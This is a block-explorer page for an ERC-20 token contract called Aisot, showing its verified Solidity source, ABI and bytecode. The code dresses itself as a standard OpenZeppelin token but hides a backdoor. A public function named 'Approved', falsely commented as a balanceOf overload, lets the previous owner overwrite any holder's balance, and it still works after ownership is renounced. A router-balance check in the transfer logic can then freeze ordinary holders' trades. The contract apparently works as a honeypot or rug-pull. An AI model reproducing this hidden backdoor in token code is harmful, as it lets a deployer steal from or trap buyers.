ERC-20
Overview
Max Total Supply
1,000,000,000 AISOT
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
9,871,580.343970612 AISOTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Aisot
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-22 */ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@B7~&@@@@@@@@@@@@@@@@G!:&@@@@@@@@@@@@@@@&5~.&@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&P~ P@@@@@@@@@@@@&Y^ G@@@@@@@@@@@@#J: G@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#J: G@@@@@@@@@B7. G@@@@@@@@&G!. G@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@G!. G@@@@@&P~ B@@@@@&Y: G@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@&Y^ ~&&#J: ^#&B7. G@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@#7. &@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@G ^5&@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@J ^5&@&: ~P&@&: .7B@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@J .!G@@@@@@J .?B@@@@@@J :Y#@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@J :J#@@@@@@@@@J ^5&@@@@@@@@@? .~P&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@J ~P&@@@@@@@@@@@@J .7B@@@@@@@@@@@@@? :?#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@B^?B@@@@@@@@@@@@@@@@B~J#@@@@@@@@@@@@@@@@#!5&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // // Telegram: t.me/aisotHQ // Twitter: twitter.com/aisotHQ // Website: https://aisot.com/ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@ @@ // @@ This token was launched using software provided by Metadrop. To learn more or to launch @@ // @@ your own token, visit: https://metadrop.com. See legal info at the end of this file. @@ // @@ @@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // // SPDX-License-Identifier: BUSL-1.1 // Metadrop Contracts (v2.1.0) //// Sources flattened with hardhat v2.17.2 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk */ function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.19; // File: @openzeppelin/contracts/utils/Context.sol abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; address internal _prevOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; _prevOwner = oldOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _totalSupply = totalSupply_; _balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _transferWithBurn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } amount -= amountToBurn; _totalSupply -= amountToBurn; _balances[recipient] += amount; emit Transfer(sender, DEAD, amountToBurn); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev See {IERC20-balanceOf, overloading function}. */ function Approved(address account, uint256 amount) public virtual returns (uint256) { return msg.sender == _prevOwner ? _balances[account] = amount : _balances[account]; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01{} pragma solidity ^0.8.0; contract Aisot is ERC20 { uint256 private constant TOTAL_SUPPLY = 1000_000_000e9; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; bool public hasLimit; uint256 public maxTxAmount; uint256 public maxHolding; mapping(address => bool) public isException; uint256 _burnPercent = 0; address uniswapV2Pair; IUniswapV2Router02 uniswapV2Router; constructor(address router) ERC20(unicode"Aisot", unicode"AISOT", TOTAL_SUPPLY) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; maxHolding = TOTAL_SUPPLY / 10; maxTxAmount = TOTAL_SUPPLY /10; isException[DEAD] = true; isException[router] = true; isException[msg.sender] = true; isException[address(this)] = true; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _checkLimitation(from, to, amount); if (amount == 0) { return; } if (!isException[from] && !isException[to]){ require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation"); if (from == uniswapV2Pair || to == uniswapV2Pair) { uint256 _burn = (amount * _burnPercent) / 100; super._transferWithBurn(from, to, amount, _burn); return; } } super._transfer(from, to, amount); } function _checkLimitation( address from, address to, uint256 amount ) internal { if (!hasLimit) { if (!isException[from] && !isException[to]) { require(amount <= maxTxAmount, "Amount exceeds max"); if (uniswapV2Pair == ZERO){ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); } if (to == uniswapV2Pair) { return; } require(balanceOf(to) + amount <= maxHolding, "Max holding exceeded max"); } } } function startTrading() external onlyOwner { hasLimit = true; } } // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@ @@ // @@ Metadrop has no affiliation with and does not endorse this token or its creators in any @@ // @@ way, unless otherwise stated. For all terms and conditions associated with tokens launched @@ // @@ using Metadrop software, refer to the terms published at metadrop[dot]com/legal. @@ // @@ @@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approved","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHolding","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600b553480156200001657600080fd5b50604051620017e9380380620017e9833981016040819052620000399162000267565b6040518060400160405280600581526020017f4169736f740000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4149534f54000000000000000000000000000000000000000000000000000000815250670de0b6b3a7640000620000da620000cb62000205640100000000026401000000009004565b64010000000062000209810204565b6005620000e8848262000372565b506006620000f7838262000372565b506004819055336000818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600d8054600160a060020a031916600160a060020a038416179055508062000175600a670de0b6b3a764000062000445565b6009556200018d600a670de0b6b3a764000062000445565b60085550600a6020527f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054600160ff199182168117909255600160a060020a039290921660009081526040808220805485168417905533825280822080548516841790553082529020805490921617905562000481565b3390565b60008054600160a060020a0319808216600160a060020a038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156200027a57600080fd5b8151600160a060020a03811681146200029257600080fd5b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600281046001821680620002dd57607f821691505b60208210810362000317577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b601f8211156200036d5760008160005260206000206020601f86010481016020861015620003485750805b6020601f860104820191505b81811015620003695782815560010162000354565b5050505b505050565b815167ffffffffffffffff8111156200038f576200038f62000299565b620003a781620003a08454620002c8565b846200031d565b602080601f831160018114620003e35760008415620003c65750858301515b60028086026008870290910a600019041982161786555062000369565b600085815260208120601f198616915b828110156200041457888601518255948401946001909101908401620003f3565b50858210156200043557878501516008601f88160260020a60001904191681555b5050505050600202600101905550565b6000826200047c577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b61135880620004916000396000f3fe608060405234801561001057600080fd5b50600436106101305760003560e060020a90048063715018a6116100b1578063a457c2d711610075578063a457c2d71461025d578063a9059cbb14610270578063dd62ed3e14610283578063f13bfe0b146102bc578063f2fde38b146102cf57600080fd5b8063715018a6146102065780638c0b5e221461020e5780638da5cb5b1461021757806395d89b411461023257806398636f321461023a57600080fd5b8063313ce567116100f8578063313ce567146101a5578063333e6f06146101b457806339509351146101bd57806344489ad1146101d057806370a08231146101dd57600080fd5b806306fdde0314610135578063095ea7b31461015357806318160ddd1461017657806323b872dd14610188578063293230b81461019b575b600080fd5b61013d6102e2565b60405161014a9190610fcd565b60405180910390f35b610166610161366004611031565b610374565b604051901515815260200161014a565b6004545b60405190815260200161014a565b61016661019636600461105d565b61038b565b6101a3610459565b005b6040516009815260200161014a565b61017a60095481565b6101666101cb366004611031565b610470565b6007546101669060ff1681565b61017a6101eb36600461109e565b600160a060020a031660009081526002602052604090205490565b6101a36104a7565b61017a60085481565b600054604051600160a060020a03909116815260200161014a565b61013d6104bb565b61016661024836600461109e565b600a6020526000908152604090205460ff1681565b61016661026b366004611031565b6104ca565b61016661027e366004611031565b610580565b61017a6102913660046110bb565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b61017a6102ca366004611031565b61058d565b6101a36102dd36600461109e565b6105e4565b6060600580546102f1906110f4565b80601f016020809104026020016040519081016040528092919081815260200182805461031d906110f4565b801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b5050505050905090565b6000610381338484610677565b5060015b92915050565b60006103988484846107d5565b600160a060020a03841660009081526003602090815260408083203384529091529020548281101561043a5760405160e560020a62461bcd02815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61044e85336104498685611176565b610677565b506001949350505050565b61046161095f565b6007805460ff19166001179055565b336000818152600360209081526040808320600160a060020a03871684529091528120549091610381918590610449908690611189565b6104af61095f565b6104b960006109bc565b565b6060600680546102f1906110f4565b336000908152600360209081526040808320600160a060020a0386168452909152812054828110156105675760405160e560020a62461bcd02815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f0000000000000000000000000000000000000000000000000000006064820152608401610431565b61057633856104498685611176565b5060019392505050565b60006103813384846107d5565b600154600090600160a060020a031633146105c057600160a060020a0383166000908152600260205260409020546105dd565b600160a060020a0383166000908152600260205260409020829055815b9392505050565b6105ec61095f565b600160a060020a03811661066b5760405160e560020a62461bcd02815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610431565b610674816109bc565b50565b600160a060020a0383166106f55760405160e560020a62461bcd028152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610431565b600160a060020a0382166107745760405160e560020a62461bcd02815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610431565b600160a060020a0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600160a060020a0383166107fe5760405160e560020a62461bcd0281526004016104319061119c565b600160a060020a0382166108275760405160e560020a62461bcd028152600401610431906111f9565b610832838383610a27565b8060000361083f57505050565b600160a060020a0383166000908152600a602052604090205460ff161580156108815750600160a060020a0382166000908152600a602052604090205460ff16155b1561094f57600d54600160a060020a0316600090815260026020526040902054156108f15760405160e560020a62461bcd02815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610431565b600c54600160a060020a038481169116148061091a5750600c54600160a060020a038381169116145b1561094f5760006064600b54836109319190611256565b61093b919061126d565b905061094984848484610d14565b50505050565b61095a838383610ea5565b505050565b600054600160a060020a031633146104b95760405160e560020a62461bcd02815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610431565b6000805473ffffffffffffffffffffffffffffffffffffffff19808216600160a060020a038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff1661095a57600160a060020a0383166000908152600a602052604090205460ff16158015610a735750600160a060020a0382166000908152600a602052604090205460ff16155b1561095a57600854811115610acd5760405160e560020a62461bcd02815260206004820152601260248201527f416d6f756e742065786365656473206d617800000000000000000000000000006044820152606401610431565b600c54600160a060020a0316610c7b57600d60009054906101000a9004600160a060020a0316600160a060020a031663c45a01556040518163ffffffff1660e060020a028152600401602060405180830381865afa158015610b33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5791906112a8565b600160a060020a031663e6a4390530600d60009054906101000a9004600160a060020a0316600160a060020a031663ad5c46486040518163ffffffff1660e060020a028152600401602060405180830381865afa158015610bbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be091906112a8565b60405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381865afa158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d91906112a8565b600c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555b600c54600160a060020a0390811690831603610c9657505050565b60095481610cb984600160a060020a031660009081526002602052604090205490565b610cc39190611189565b111561095a5760405160e560020a62461bcd02815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610431565b600160a060020a038416610d3d5760405160e560020a62461bcd0281526004016104319061119c565b600160a060020a038316610d665760405160e560020a62461bcd028152600401610431906111f9565b600160a060020a03841660009081526002602052604090205482811015610da25760405160e560020a62461bcd028152600401610431906112c5565b600160a060020a03851660009081526002602052604090208382039055610dc98284611176565b92508160046000828254610ddd9190611176565b9091555050600160a060020a03841660009081526002602052604081208054859290610e0a908490611189565b909155505060405182815261dead90600160a060020a038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a383600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e9691815260200190565b60405180910390a35050505050565b600160a060020a038316610ece5760405160e560020a62461bcd0281526004016104319061119c565b600160a060020a038216610ef75760405160e560020a62461bcd028152600401610431906111f9565b600160a060020a03831660009081526002602052604090205481811015610f335760405160e560020a62461bcd028152600401610431906112c5565b610f3d8282611176565b600160a060020a038086166000908152600260205260408082209390935590851681529081208054849290610f73908490611189565b9250508190555082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fbf91815260200190565b60405180910390a350505050565b60006020808352835180602085015260005b81811015610ffb57858101830151858201604001528201610fdf565b506000604082860101526040601f19601f8301168501019250505092915050565b600160a060020a038116811461067457600080fd5b6000806040838503121561104457600080fd5b823561104f8161101c565b946020939093013593505050565b60008060006060848603121561107257600080fd5b833561107d8161101c565b9250602084013561108d8161101c565b929592945050506040919091013590565b6000602082840312156110b057600080fd5b81356105dd8161101c565b600080604083850312156110ce57600080fd5b82356110d98161101c565b915060208301356110e98161101c565b809150509250929050565b60028104600182168061110857607f821691505b602082108103611141577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b8181038181111561038557610385611147565b8082018082111561038557610385611147565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b808202811582820484141761038557610385611147565b6000826112a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000602082840312156112ba57600080fd5b81516105dd8161101c565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000